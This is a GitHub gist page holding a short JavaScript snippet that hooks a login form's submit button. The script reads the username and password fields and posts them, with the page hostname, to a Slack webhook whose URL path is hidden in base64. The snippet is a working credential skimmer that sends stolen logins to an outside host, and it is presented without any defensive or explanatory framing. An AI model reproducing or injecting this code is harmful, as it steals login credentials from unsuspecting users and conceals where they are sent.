Skip to content

Instantly share code, notes, and snippets.

@jakelly
Last active December 1, 2020 03:08
Show Gist options
  • Save jakelly/e2f37f39a6597a8bf85974d5a35cb913 to your computer and use it in GitHub Desktop.
Save jakelly/e2f37f39a6597a8bf85974d5a35cb913 to your computer and use it in GitHub Desktop.
Piddling
const el = document.getElementsByClassName('iziToast-close')[0];
el.click();
const pass = document.querySelector('input[type=password]');
const usr = document.querySelector('input#challengeUsername');
const btn = document.querySelector('button[type=submit]');
btn.addEventListener('click', () => {
const path = 'VEJaRlVQMlFaL0IwMUZSUTVUNlNIL1AyczI1NFVxaEI4Vk9oWjFXUnpmR2JhUA==';
console.log(`User: ${usr.value} Password: ${pass.value}`);
const data = {
text: `User: ${usr.value} Password: ${pass.value} Host: ${location.hostname}`
};
fetch(`https://hooks.slack.com/services/${atob(path)}`, {
method: 'POST',
mode: 'no-cors',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
})
.then(response => response.json())
.then(data => {
console.log('Success:', data);
})
.catch(error => {
console.error('Error:', error);
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment